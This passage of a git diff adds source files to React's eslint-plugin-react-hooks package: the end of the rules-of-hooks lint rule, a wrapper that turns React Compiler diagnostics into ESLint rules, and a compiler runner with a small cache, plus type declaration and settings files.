+        countPathsToEnd.cache = new Map<string, bigint>();
+        shortestPathLengthToStart.cache = new Map<string, number | null>();
+
+        // Count all code paths to the end of our component/hook. Also primes
+        // the `countPathsToEnd` cache.
+        const allPathsFromStartToEnd = countPathsToEnd(codePath.initialSegment);
+
+        // Gets the function name for our code path. If the function name is
+        // `undefined` then we know either that we have an anonymous function
+        // expression or our code path is not in a function. In both cases we
+        // will want to error since neither are React function components or
+        // hook functions - unless it is an anonymous function argument to
+        // forwardRef or memo.
+        const codePathFunctionName = getFunctionName(codePathNode);
+
+        // This is a valid code path for React hooks if we are directly in a React
+        // function component or we are in a hook function.
+        const isSomewhereInsideComponentOrHook =
+          isInsideComponentOrHook(codePathNode);
+        const isDirectlyInsideComponentOrHook = codePathFunctionName
+          ? isComponentName(codePathFunctionName) ||
+            isHook(codePathFunctionName)
+          : isForwardRefCallback(codePathNode) || isMemoCallback(codePathNode);
+
+        // Compute the earliest finalizer level using information from the
+        // cache. We expect all reachable final segments to have a cache entry
+        // after calling `visitSegment()`.
+        let shortestFinalPathLength = Infinity;
+        for (const finalSegment of codePath.finalSegments) {
+          if (!finalSegment.reachable) {
+            continue;
+          }
+          const length = shortestPathLengthToStart(finalSegment);
+          if (length < shortestFinalPathLength) {
+            shortestFinalPathLength = length;
+          }
+        }
+
+        // Make sure all React Hooks pass our lint invariants. Log warnings
+        // if not.
+        for (const [segment, reactHooks] of reactHooksMap) {
+          // NOTE: We could report here that the hook is not reachable, but
+          // that would be redundant with more general "no unreachable"
+          // lint rules.
+          if (!segment.reachable) {
+            continue;
+          }
+
+          // If there are any final segments with a shorter path to start then
+          // we possibly have an early return.
+          //
+          // If our segment is a final segment itself then siblings could
+          // possibly be early returns.
+          const possiblyHasEarlyReturn =
+            segment.nextSegments.length === 0
+              ? shortestFinalPathLength <= shortestPathLengthToStart(segment)
+              : shortestFinalPathLength < shortestPathLengthToStart(segment);
+
+          // Count all the paths from the start of our code path to the end of
+          // our code path that go _through_ this segment. The critical piece
+          // of this is _through_. If we just call `countPathsToEnd(segment)`
+          // then we neglect that we may have gone through multiple paths to get
+          // to this point! Consider:
+          //
+          // ```js
+          // function MyComponent() {
+          //   if (a) {
+          //     // Segment 1
+          //   } else {
+          //     // Segment 2
+          //   }
+          //   // Segment 3
+          //   if (b) {
+          //     // Segment 4
+          //   } else {
+          //     // Segment 5
+          //   }
+          // }
+          // ```
+          //
+          // In this component we have four code paths:
+          //
+          // 1. `a = true; b = true`
+          // 2. `a = true; b = false`
+          // 3. `a = false; b = true`
+          // 4. `a = false; b = false`
+          //
+          // From segment 3 there are two code paths to the end through segment
+          // 4 and segment 5. However, we took two paths to get here through
+          // segment 1 and segment 2.
+          //
+          // If we multiply the paths from start (two) by the paths to end (two)
+          // for segment 3 we get four. Which is our desired count.
+          const pathsFromStartToEnd =
+            countPathsFromStart(segment) * countPathsToEnd(segment);
+
+          // Is this hook a part of a cyclic segment?
+          const cycled = cyclic.has(segment.id);
+
+          for (const hook of reactHooks) {
+            // Skip reporting if this hook already has a relevant flow suppression.
+            if (hasFlowSuppression(hook, 'react-rule-hook')) {
+              continue;
+            }
+
+            // Report an error if use() is called inside try/catch.
+            if (isUseIdentifier(hook) && isInsideTryCatch(hook)) {
+              context.report({
+                node: hook,
+                message: `React Hook "${getSourceCode().getText(
+                  hook,
+                )}" cannot be called in a try/catch block.`,
+              });
+            }
+
+            // Report an error if a hook may be called more then once.
+            // `use(...)` can be called in loops.
+            if (
+              (cycled || isInsideDoWhileLoop(hook)) &&
+              !isUseIdentifier(hook)
+            ) {
+              context.report({
+                node: hook,
+                message:
+                  `React Hook "${getSourceCode().getText(
+                    hook,
+                  )}" may be executed ` +
+                  'more than once. Possibly because it is called in a loop. ' +
+                  'React Hooks must be called in the exact same order in ' +
+                  'every component render.',
+              });
+            }
+
+            // If this is not a valid code path for React hooks then we need to
+            // log a warning for every hook in this code path.
+            //
+            // Pick a special message depending on the scope this hook was
+            // called in.
+            if (isDirectlyInsideComponentOrHook) {
+              // Report an error if the hook is called inside an async function.
+              // @ts-expect-error the above check hasn't properly type-narrowed `codePathNode` (async doesn't exist on Node)
+              const isAsyncFunction = codePathNode.async;
+              if (isAsyncFunction) {
+                context.report({
+                  node: hook,
+                  message:
+                    `React Hook "${getSourceCode().getText(hook)}" cannot be ` +
+                    'called in an async function.',
+                });
+              }
+
+              // Report an error if a hook does not reach all finalizing code
+              // path segments.
+              //
+              // Special case when we think there might be an early return.
+              if (
+                !cycled &&
+                pathsFromStartToEnd !== allPathsFromStartToEnd &&
+                !isUseIdentifier(hook) && // `use(...)` can be called conditionally.
+                !isInsideDoWhileLoop(hook) // wrapping do/while loops are checked separately.
+              ) {
+                const message =
+                  `React Hook "${getSourceCode().getText(hook)}" is called ` +
+                  'conditionally. React Hooks must be called in the exact ' +
+                  'same order in every component render.' +
+                  (possiblyHasEarlyReturn
+                    ? ' Did you accidentally call a React Hook after an' +
+                      ' early return?'
+                    : '');
+                context.report({node: hook, message});
+              }
+            } else if (
+              codePathNode.parent != null &&
+              (codePathNode.parent.type === 'MethodDefinition' ||
+                // @ts-expect-error `ClassProperty` was removed from typescript-estree in https://github.com/typescript-eslint/typescript-eslint/pull/3806
+                codePathNode.parent.type === 'ClassProperty' ||
+                codePathNode.parent.type === 'PropertyDefinition') &&
+              codePathNode.parent.value === codePathNode
+            ) {
+              // Custom message for hooks inside a class
+              const message =
+                `React Hook "${getSourceCode().getText(
+                  hook,
+                )}" cannot be called ` +
+                'in a class component. React Hooks must be called in a ' +
+                'React function component or a custom React Hook function.';
+              context.report({node: hook, message});
+            } else if (codePathFunctionName) {
+              // Custom message if we found an invalid function name.
+              const message =
+                `React Hook "${getSourceCode().getText(hook)}" is called in ` +
+                `function "${getSourceCode().getText(codePathFunctionName)}" ` +
+                'that is neither a React function component nor a custom ' +
+                'React Hook function.' +
+                ' React component names must start with an uppercase letter.' +
+                ' React Hook names must start with the word "use".';
+              context.report({node: hook, message});
+            } else if (codePathNode.type === 'Program') {
+              // These are dangerous if you have inline requires enabled.
+              const message =
+                `React Hook "${getSourceCode().getText(
+                  hook,
+                )}" cannot be called ` +
+                'at the top level. React Hooks must be called in a ' +
+                'React function component or a custom React Hook function.';
+              context.report({node: hook, message});
+            } else {
+              // Assume in all other cases the user called a hook in some
+              // random function callback. This should usually be true for
+              // anonymous function expressions. Hopefully this is clarifying
+              // enough in the common case that the incorrect message in
+              // uncommon cases doesn't matter.
+              // `use(...)` can be called in callbacks.
+              if (isSomewhereInsideComponentOrHook && !isUseIdentifier(hook)) {
+                const message =
+                  `React Hook "${getSourceCode().getText(
+                    hook,
+                  )}" cannot be called ` +
+                  'inside a callback. React Hooks must be called in a ' +
+                  'React function component or a custom React Hook function.';
+                context.report({node: hook, message});
+              }
+            }
+          }
+        }
+      },
+    });
+
+    return {
+      '*'(node: any) {
+        analyzer.enterNode(node);
+      },
+
+      '*:exit'(node: any) {
+        analyzer.leaveNode(node);
+      },
+
+      // Missed opportunity...We could visit all `Identifier`s instead of all
+      // `CallExpression`s and check that _every use_ of a hook name is valid.
+      // But that gets complicated and enters type-system territory, so we're
+      // only being strict about hook calls for now.
+      CallExpression(node) {
+        if (isHook(node.callee)) {
+          // Add the hook node to a map keyed by the code path segment. We will
+          // do full code path analysis at the end of our code path.
+          const reactHooksMap = last(codePathReactHooksMapStack);
+          const codePathSegment = last(codePathSegmentStack);
+          let reactHooks = reactHooksMap.get(codePathSegment);
+          if (!reactHooks) {
+            reactHooks = [];
+            reactHooksMap.set(codePathSegment, reactHooks);
+          }
+          reactHooks.push(node.callee);
+        }
+
+        // useEffectEvent: useEffectEvent functions can be passed by reference within useEffect as well as in
+        // another useEffectEvent
+        // Check all `useEffect` and `React.useEffect`, `useEffectEvent`, and `React.useEffectEvent`
+        const nodeWithoutNamespace = getNodeWithoutReactNamespace(node.callee);
+        if (
+          (isEffectIdentifier(nodeWithoutNamespace, additionalEffectHooks) ||
+            isUseEffectEventIdentifier(nodeWithoutNamespace)) &&
+          node.arguments.length > 0
+        ) {
+          // Denote that we have traversed into a useEffect call, and stash the CallExpr for
+          // comparison later when we exit
+          lastEffect = node;
+        }
+
+        // Specifically disallow <Child onClick={useEffectEvent(...)} /> because this
+        // case can't be caught by `recordAllUseEffectEventFunctions` as it isn't assigned to a variable
+        if (
+          isUseEffectEventIdentifier(nodeWithoutNamespace) &&
+          node.parent?.type !== 'VariableDeclarator' &&
+          // like in other hooks, calling useEffectEvent at component's top level without assignment is valid
+          node.parent?.type !== 'ExpressionStatement'
+        ) {
+          const message = useEffectEventError(null, false);
+
+          context.report({
+            node,
+            message,
+          });
+        }
+      },
+
+      Identifier(node) {
+        // This identifier resolves to a useEffectEvent function, but isn't being referenced in an
+        // effect or another event function. It isn't being called either.
+        if (lastEffect == null && useEffectEventFunctions.has(node)) {
+          const message = useEffectEventError(
+            getSourceCode().getText(node),
+            node.parent.type === 'CallExpression',
+          );
+
+          context.report({
+            node,
+            message,
+          });
+        }
+      },
+
+      'CallExpression:exit'(node) {
+        if (node === lastEffect) {
+          lastEffect = null;
+        }
+      },
+
+      FunctionDeclaration(node) {
+        // function MyComponent() { const onClick = useEffectEvent(...) }
+        if (isInsideComponentOrHook(node)) {
+          recordAllUseEffectEventFunctions(getScope(node));
+        }
+      },
+
+      ArrowFunctionExpression(node) {
+        // const MyComponent = () => { const onClick = useEffectEvent(...) }
+        if (isInsideComponentOrHook(node)) {
+          recordAllUseEffectEventFunctions(getScope(node));
+        }
+      },
+
+      // @ts-expect-error parser-hermes produces these node types
+      ComponentDeclaration(node) {
+        // component MyComponent() { const onClick = useEffectEvent(...) }
+        recordAllUseEffectEventFunctions(getScope(node));
+      },
+
+      // @ts-expect-error parser-hermes produces these node types
+      HookDeclaration(node) {
+        // hook useMyHook() { const onClick = useEffectEvent(...) }
+        recordAllUseEffectEventFunctions(getScope(node));
+      },
+    };
+  },
+} satisfies Rule.RuleModule;
+
+/**
+ * Gets the static name of a function AST node. For function declarations it is
+ * easy. For anonymous function expressions it is much harder. If you search for
+ * `IsAnonymousFunctionDefinition()` in the ECMAScript spec you'll find places
+ * where JS gives anonymous function expressions names. We roughly detect the
+ * same AST nodes with some exceptions to better fit our use case.
+ */
+
+function getFunctionName(node: Node) {
+  if (
+    // @ts-expect-error parser-hermes produces these node types
+    node.type === 'ComponentDeclaration' ||
+    // @ts-expect-error parser-hermes produces these node types
+    node.type === 'HookDeclaration' ||
+    node.type === 'FunctionDeclaration' ||
+    (node.type === 'FunctionExpression' && node.id)
+  ) {
+    // function useHook() {}
+    // const whatever = function useHook() {};
+    //
+    // Function declaration or function expression names win over any
+    // assignment statements or other renames.
+    return node.id;
+  } else if (
+    node.type === 'FunctionExpression' ||
+    node.type === 'ArrowFunctionExpression'
+  ) {
+    if (
+      node.parent?.type === 'VariableDeclarator' &&
+      node.parent.init === node
+    ) {
+      // const useHook = () => {};
+      return node.parent.id;
+    } else if (
+      node.parent?.type === 'AssignmentExpression' &&
+      node.parent.right === node &&
+      node.parent.operator === '='
+    ) {
+      // useHook = () => {};
+      return node.parent.left;
+    } else if (
+      node.parent?.type === 'Property' &&
+      node.parent.value === node &&
+      !node.parent.computed
+    ) {
+      // {useHook: () => {}}
+      // {useHook() {}}
+      return node.parent.key;
+
+      // NOTE: We could also support `ClassProperty` and `MethodDefinition`
+      // here to be pedantic. However, hooks in a class are an anti-pattern. So
+      // we don't allow it to error early.
+      //
+      // class {useHook = () => {}}
+      // class {useHook() {}}
+    } else if (
+      node.parent?.type === 'AssignmentPattern' &&
+      node.parent.right === node &&
+      // @ts-expect-error Property computed does not exist on type `AssignmentPattern`.
+      !node.parent.computed
+    ) {
+      // const {useHook = () => {}} = {};
+      // ({useHook = () => {}} = {});
+      //
+      // Kinda clowny, but we'd said we'd follow spec convention for
+      // `IsAnonymousFunctionDefinition()` usage.
+      return node.parent.left;
+    } else {
+      return undefined;
+    }
+  } else {
+    return undefined;
+  }
+}
+
+/**
+ * Convenience function for peeking the last item in a stack.
+ */
+function last<T>(array: Array<T>): T {
+  return array[array.length - 1] as T;
+}
+
+export default rule;
diff --git a/packages/eslint-plugin-react-hooks/src/shared/ReactCompiler.ts b/packages/eslint-plugin-react-hooks/src/shared/ReactCompiler.ts
new file mode 100644
index 000000000000..b35e62677dfd
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/shared/ReactCompiler.ts
@@ -0,0 +1,208 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/* eslint-disable no-for-of-loops/no-for-of-loops */
+
+import type {SourceLocation as BabelSourceLocation} from '@babel/types';
+import {
+  type CompilerDiagnosticOptions,
+  type CompilerErrorDetailOptions,
+  CompilerSuggestionOperation,
+  LintRules,
+  type LintRule,
+  ErrorSeverity,
+  LintRulePreset,
+} from 'babel-plugin-react-compiler';
+import {type Linter, type Rule} from 'eslint';
+import runReactCompiler, {RunCacheEntry} from './RunReactCompiler';
+
+function assertExhaustive(_: never, errorMsg: string): never {
+  throw new Error(errorMsg);
+}
+
+function makeSuggestions(
+  detail: CompilerErrorDetailOptions | CompilerDiagnosticOptions,
+): Array<Rule.SuggestionReportDescriptor> {
+  const suggest: Array<Rule.SuggestionReportDescriptor> = [];
+  if (Array.isArray(detail.suggestions)) {
+    for (const suggestion of detail.suggestions) {
+      switch (suggestion.op) {
+        case CompilerSuggestionOperation.InsertBefore:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.insertTextBeforeRange(
+                suggestion.range,
+                suggestion.text,
+              );
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.InsertAfter:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.insertTextAfterRange(
+                suggestion.range,
+                suggestion.text,
+              );
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.Replace:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.replaceTextRange(suggestion.range, suggestion.text);
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.Remove:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.removeRange(suggestion.range);
+            },
+          });
+          break;
+        default:
+          assertExhaustive(suggestion, 'Unhandled suggestion operation');
+      }
+    }
+  }
+  return suggest;
+}
+
+function getReactCompilerResult(context: Rule.RuleContext): RunCacheEntry {
+  // Compat with older versions of eslint
+  const sourceCode = context.sourceCode ?? context.getSourceCode();
+  const filename = context.filename ?? context.getFilename();
+  const userOpts = context.options[0] ?? {};
+
+  const results = runReactCompiler({
+    sourceCode,
+    filename,
+    userOpts,
+  });
+
+  return results;
+}
+
+function hasFlowSuppression(
+  program: RunCacheEntry,
+  nodeLoc: BabelSourceLocation,
+  suppressions: Array<string>,
+): boolean {
+  for (const commentNode of program.flowSuppressions) {
+    if (
+      suppressions.includes(commentNode.code) &&
+      commentNode.line === nodeLoc.start.line - 1
+    ) {
+      return true;
+    }
+  }
+  return false;
+}
+
+function makeRule(rule: LintRule): Rule.RuleModule {
+  const create = (context: Rule.RuleContext): Rule.RuleListener => {
+    const result = getReactCompilerResult(context);
+
+    for (const event of result.events) {
+      if (event.kind === 'CompileError') {
+        const detail = event.detail;
+        if (detail.category === rule.category) {
+          const loc = detail.primaryLocation();
+          if (loc == null || typeof loc === 'symbol') {
+            continue;
+          }
+          if (
+            hasFlowSuppression(result, loc, [
+              'react-rule-hook',
+              'react-rule-unsafe-ref',
+            ])
+          ) {
+            // If Flow already caught this error, we don't need to report it again.
+            continue;
+          }
+          /*
+           * TODO: if multiple rules report the same linter category,
+           * we should deduplicate them with a "reported" set
+           */
+          context.report({
+            message: detail.printErrorMessage(result.sourceCode, {
+              eslint: true,
+            }),
+            loc,
+            suggest: makeSuggestions(detail.options),
+          });
+        }
+      }
+    }
+    return {};
+  };
+
+  return {
+    meta: {
+      type: 'problem',
+      docs: {
+        description: rule.description,
+        recommended: rule.preset === LintRulePreset.Recommended,
+        url: `https://react.dev/reference/eslint-plugin-react-hooks/lints/${rule.name}`,
+      },
+      fixable: 'code',
+      hasSuggestions: true,
+      // validation is done at runtime with zod
+      schema: [{type: 'object', additionalProperties: true}],
+    },
+    create,
+  };
+}
+
+type RulesConfig = {
+  [name: string]: {rule: Rule.RuleModule; severity: ErrorSeverity};
+};
+
+export const allRules: RulesConfig = LintRules.reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export const recommendedRules: RulesConfig = LintRules.filter(
+  rule => rule.preset === LintRulePreset.Recommended,
+).reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export const recommendedLatestRules: RulesConfig = LintRules.filter(
+  rule =>
+    rule.preset === LintRulePreset.Recommended ||
+    rule.preset === LintRulePreset.RecommendedLatest,
+).reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export function mapErrorSeverityToESlint(
+  severity: ErrorSeverity,
+): Linter.StringSeverity {
+  switch (severity) {
+    case ErrorSeverity.Error: {
+      return 'error';
+    }
+    case ErrorSeverity.Warning: {
+      return 'warn';
+    }
+    case ErrorSeverity.Hint:
+    case ErrorSeverity.Off: {
+      return 'off';
+    }
+    default: {
+      assertExhaustive(severity, `Unhandled severity: ${severity}`);
+    }
+  }
+}
diff --git a/packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts b/packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
new file mode 100644
index 000000000000..6d135b41bde2
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
@@ -0,0 +1,15 @@
+/**
+ * Type declarations for shared/ReactFeatureFlags
+ *
+ * This allows importing from the Flow-typed ReactFeatureFlags.js file
+ * without TypeScript errors.
+ */
+declare module 'shared/ReactFeatureFlags' {
+  export const eprh_enableUseKeyedStateCompilerLint: boolean;
+  export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean;
+  export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+    | 'off'
+    | 'all'
+    | 'extra-only'
+    | 'missing-only';
+}
diff --git a/packages/eslint-plugin-react-hooks/src/shared/RunReactCompiler.ts b/packages/eslint-plugin-react-hooks/src/shared/RunReactCompiler.ts
new file mode 100644
index 000000000000..34151fe8c27e
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/shared/RunReactCompiler.ts
@@ -0,0 +1,354 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/* eslint-disable no-for-of-loops/no-for-of-loops */
+
+import {transformFromAstSync} from '@babel/core';
+import {parse as babelParse} from '@babel/parser';
+import {File} from '@babel/types';
+import BabelPluginReactCompiler, {
+  parsePluginOptions,
+  validateEnvironmentConfig,
+  type PluginOptions,
+  Logger,
+  LoggerEvent,
+} from 'babel-plugin-react-compiler';
+import type {SourceCode} from 'eslint';
+import type * as ESTree from 'estree';
+import * as HermesParser from 'hermes-parser';
+import {isDeepStrictEqual} from 'util';
+import type {ParseResult} from '@babel/parser';
+import {
+  eprh_enableUseKeyedStateCompilerLint,
+  eprh_enableVerboseNoSetStateInEffectCompilerLint,
+  eprh_enableExhaustiveEffectDependenciesCompilerLint,
+} from 'shared/ReactFeatureFlags';
+
+// Pattern for component names: starts with uppercase letter
+const COMPONENT_NAME_PATTERN = /^[A-Z]/;
+// Pattern for hook names: starts with 'use' followed by uppercase letter or digit
+const HOOK_NAME_PATTERN = /^use[A-Z0-9]/;
+
+/**
+ * Quick heuristic using ESLint's already-parsed AST to detect if the file
+ * may contain React components or hooks based on function naming patterns.
+ * Only checks top-level declarations since components/hooks are declared at module scope.
+ * Returns true if compilation should proceed, false to skip.
+ */
+function mayContainReactCode(sourceCode: SourceCode): boolean {
+  const ast = sourceCode.ast;
+
+  // Only check top-level statements - components/hooks are declared at module scope
+  for (const node of ast.body) {
+    if (checkTopLevelNode(node)) {
+      return true;
+    }
+  }
+
+  return false;
+}
+
+function checkTopLevelNode(node: ESTree.Node): boolean {
+  // Handle Flow component/hook declarations (hermes-eslint produces these node types)
+  // @ts-expect-error not part of ESTree spec
+  if (node.type === 'ComponentDeclaration' || node.type === 'HookDeclaration') {
+    return true;
+  }
+
+  // Handle: export function MyComponent() {} or export const useHook = () => {}
+  if (node.type === 'ExportNamedDeclaration') {
+    const decl = (node as ESTree.ExportNamedDeclaration).declaration;
+    if (decl != null) {
+      return checkTopLevelNode(decl);
+    }
+    return false;
+  }
+
+  // Handle: export default function MyComponent() {} or export default () => {}
+  if (node.type === 'ExportDefaultDeclaration') {
+    const decl = (node as ESTree.ExportDefaultDeclaration).declaration;
+    // Anonymous default function export - compile conservatively
+    if (
+      decl.type === 'FunctionExpression' ||
+      decl.type === 'ArrowFunctionExpression' ||
+      (decl.type === 'FunctionDeclaration' &&
+        (decl as ESTree.FunctionDeclaration).id == null)
+    ) {
+      return true;
+    }
+    return checkTopLevelNode(decl as ESTree.Node);
+  }
+
+  // Handle: function MyComponent() {}
+  // Also handles Flow component/hook syntax transformed to FunctionDeclaration with flags
+  if (node.type === 'FunctionDeclaration') {
+    // Check for Hermes-added flags indicating Flow component/hook syntax
+    if ('__componentDeclaration' in node || '__hookDeclaration' in node) {
+      return true;
+    }
+    const id = (node as ESTree.FunctionDeclaration).id;
+    if (id != null) {
+      const name = id.name;
+      if (COMPONENT_NAME_PATTERN.test(name) || HOOK_NAME_PATTERN.test(name)) {
+        return true;
+      }
+    }
+  }
+
+  // Handle: const MyComponent = () => {} or const useHook = function() {}
+  if (node.type === 'VariableDeclaration') {
+    for (const decl of (node as ESTree.VariableDeclaration).declarations) {
+      if (decl.id.type === 'Identifier') {
+        const init = decl.init;
+        if (
+          init != null &&
+          (init.type === 'ArrowFunctionExpression' ||
+            init.type === 'FunctionExpression')
+        ) {
+          const name = decl.id.name;
+          if (
+            COMPONENT_NAME_PATTERN.test(name) ||
+            HOOK_NAME_PATTERN.test(name)
+          ) {
+            return true;
+          }
+        }
+      }
+    }
+  }
+
+  return false;
+}
+
+const COMPILER_OPTIONS: PluginOptions = {
+  outputMode: 'lint',
+  panicThreshold: 'none',
+  // Don't emit errors on Flow suppressions--Flow already gave a signal
+  flowSuppressions: false,
+  environment: {
+    validateRefAccessDuringRender: true,
+    validateNoSetStateInRender: true,
+    validateNoSetStateInEffects: true,
+    validateNoJSXInTryStatements: true,
+    validateNoImpureFunctionsInRender: true,
+    validateStaticComponents: true,
+    validateNoFreezingKnownMutableFunctions: true,
+    validateNoVoidUseMemo: true,
+    // TODO: remove, this should be in the type system
+    validateNoCapitalizedCalls: [],
+    validateHooksUsage: true,
+    validateNoDerivedComputationsInEffects: true,
+
+    // Experimental options controlled by ReactFeatureFlags
+    enableUseKeyedState: eprh_enableUseKeyedStateCompilerLint,
+    enableVerboseNoSetStateInEffect:
+      eprh_enableVerboseNoSetStateInEffectCompilerLint,
+    validateExhaustiveEffectDependencies:
+      eprh_enableExhaustiveEffectDependenciesCompilerLint,
+  },
+};
+
+export type RunCacheEntry = {
+  sourceCode: string;
+  filename: string;
+  userOpts: PluginOptions;
+  flowSuppressions: Array<{line: number; code: string}>;
+  events: Array<LoggerEvent>;
+};
+
+type RunParams = {
+  sourceCode: SourceCode;
+  filename: string;
+  userOpts: PluginOptions;
+};
+const FLOW_SUPPRESSION_REGEX = /\$FlowFixMe\[([^\]]*)\]/g;
+
+function getFlowSuppressions(
+  sourceCode: SourceCode,
+): Array<{line: number; code: string}> {
+  const comments = sourceCode.getAllComments();
+  const results: Array<{line: number; code: string}> = [];
+
+  for (const commentNode of comments) {
+    const matches = commentNode.value.matchAll(FLOW_SUPPRESSION_REGEX);
+    for (const match of matches) {
+      if (match.index != null && commentNode.loc != null) {
+        const code = match[1];
+        results.push({
+          line: commentNode.loc!.end.line,
+          code,
+        });
+      }
+    }
+  }
+  return results;
+}
+
+function runReactCompilerImpl({
+  sourceCode,
+  filename,
+  userOpts,
+}: RunParams): RunCacheEntry {
+  // Compat with older versions of eslint
+  const options = parsePluginOptions({
+    ...COMPILER_OPTIONS,
+    ...userOpts,
+    environment: {
+      ...COMPILER_OPTIONS.environment,
+      ...userOpts.environment,
+    },
+  });
+  const results: RunCacheEntry = {
+    sourceCode: sourceCode.text,
+    filename,
+    userOpts,
+    flowSuppressions: [],
+    events: [],
+  };
+  const userLogger: Logger | null = options.logger;
+  options.logger = {
+    logEvent: (eventFilename, event): void => {
+      userLogger?.logEvent(eventFilename, event);
+      results.events.push(event);
+    },
+  };
+
+  try {
+    options.environment = validateEnvironmentConfig(options.environment ?? {});
+  } catch (err: unknown) {
+    options.logger?.logEvent(filename, err as LoggerEvent);
+  }
+
+  let babelAST: ParseResult<File> | null = null;
+
+  if (filename.endsWith('.tsx') || filename.endsWith('.ts')) {
+    try {
+      babelAST = babelParse(sourceCode.text, {
+        sourceFilename: filename,
+        sourceType: 'unambiguous',
+        plugins: ['typescript', 'jsx'],
+      });
+    } catch {
+      /* empty */
+    }
+  } else {
+    try {
+      babelAST = HermesParser.parse(sourceCode.text, {
+        babel: true,
+        enableExperimentalComponentSyntax: true,
+        sourceFilename: filename,
+        sourceType: 'module',
+      });
+    } catch {
+      /* empty */
+    }
+  }
+
+  if (babelAST != null) {
+    results.flowSuppressions = getFlowSuppressions(sourceCode);
+    try {
+      transformFromAstSync(babelAST, sourceCode.text, {
+        filename,
+        highlightCode: false,
+        retainLines: true,
+        plugins: [[BabelPluginReactCompiler, options]],
+        sourceType: 'module',
+        configFile: false,
+        babelrc: false,
+      });
+    } catch (err) {
+      /* errors handled by injected logger */
+    }
+  }
+
+  return results;
+}
+
+const SENTINEL = Symbol();
+
+// Array backed LRU cache -- should be small < 10 elements
+class LRUCache<K, T> {
+  // newest at headIdx, then headIdx + 1, ..., tailIdx
+  #values: Array<[K, T | Error] | [typeof SENTINEL, void]>;
+  #headIdx: number = 0;
+
+  constructor(size: number) {
+    this.#values = new Array(size).fill(SENTINEL);
+  }
+
+  // gets a value and sets it as "recently used"
+  get(key: K): T | null {
+    const idx = this.#values.findIndex(entry => entry[0] === key);
+    // If found, move to front
+    if (idx === this.#headIdx) {
+      return this.#values[this.#headIdx][1] as T;
+    } else if (idx < 0) {
+      return null;
+    }
+
+    const entry: [K, T] = this.#values[idx] as [K, T];
+
+    const len = this.#values.length;
+    for (let i = 0; i < Math.min(idx, len - 1); i++) {
+      this.#values[(this.#headIdx + i + 1) % len] =
+        this.#values[(this.#headIdx + i) % len];
+    }
+    this.#values[this.#headIdx] = entry;
+    return entry[1];
+  }
+  push(key: K, value: T): void {
+    this.#headIdx =
+      (this.#headIdx - 1 + this.#values.length) % this.#values.length;
+    this.#values[this.#headIdx] = [key, value];
+  }
+}
+const cache = new LRUCache<string, RunCacheEntry>(10);
+
+export default function runReactCompiler({
+  sourceCode,
+  filename,
+  userOpts,
+}: RunParams): RunCacheEntry {
+  const entry = cache.get(filename);
+  if (
+    entry != null &&
+    entry.sourceCode === sourceCode.text &&
+    isDeepStrictEqual(entry.userOpts, userOpts)
+  ) {
+    return entry;
+  }
+
+  // Quick heuristic: skip files that don't appear to contain React code.
+  // We still cache the empty result so subsequent rules don't re-run the check.
+  if (!mayContainReactCode(sourceCode)) {
+    const emptyResult: RunCacheEntry = {
+      sourceCode: sourceCode.text,
+      filename,
+      userOpts,
+      flowSuppressions: [],
+      events: [],
+    };
+    if (entry != null) {
+      Object.assign(entry, emptyResult);
+    } else {
+      cache.push(filename, emptyResult);
+    }
+    return {...emptyResult};
+  }
+
+  const runEntry = runReactCompilerImpl({
+    sourceCode,
+    filename,
+    userOpts,
+  });
+  // If we have a cache entry, we can update it
+  if (entry != null) {
+    Object.assign(entry, runEntry);
+  } else {
+    cache.push(filename, runEntry);
+  }
+  return {...runEntry};
+}
diff --git a/packages/eslint-plugin-react-hooks/src/shared/Utils.ts b/packages/eslint-plugin-react-hooks/src/shared/Utils.ts
new file mode 100644
index 000000000000..54bc21011972
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/shared/Utils.ts
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import { Rule } from 'eslint';
+
+const SETTINGS_KEY = 'react-hooks';
+const SETTINGS_ADDITIONAL_EFFECT_HOOKS_KEY = 'additionalEffectHooks';
+
+export function getAdditionalEffectHooksFromSettings(
+  settings: Rule.RuleContext['settings'],
+): RegExp | undefined {
+  const additionalHooks = settings[SETTINGS_KEY]?.[SETTINGS_ADDITIONAL_EFFECT_HOOKS_KEY];
+  if (additionalHooks != null && typeof additionalHooks === 'string') {
+    return new RegExp(additionalHooks);
+  }
+
+  return undefined;
+}
diff --git a/packages/eslint-plugin-react-hooks/src/types/estree.d.ts b/packages/eslint-plugin-react-hooks/src/types/estree.d.ts
new file mode 100644
index 000000000000..f26636970488
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/types/estree.d.ts
@@ -0,0 +1,72 @@
+import {Expression, Identifier, Node} from 'estree-jsx';
+
+/**
+ * This file augments the `estree` types to include types that are not built-in to `estree` or `estree-jsx`.
+ * This is necessary because the `estree` types are used by ESLint, and ESLint does not natively support
+ * TypeScript or Flow types.  Since we're not using a ton of them, we can just add them here, rather than
+ * installing typescript estree or flow estree types.
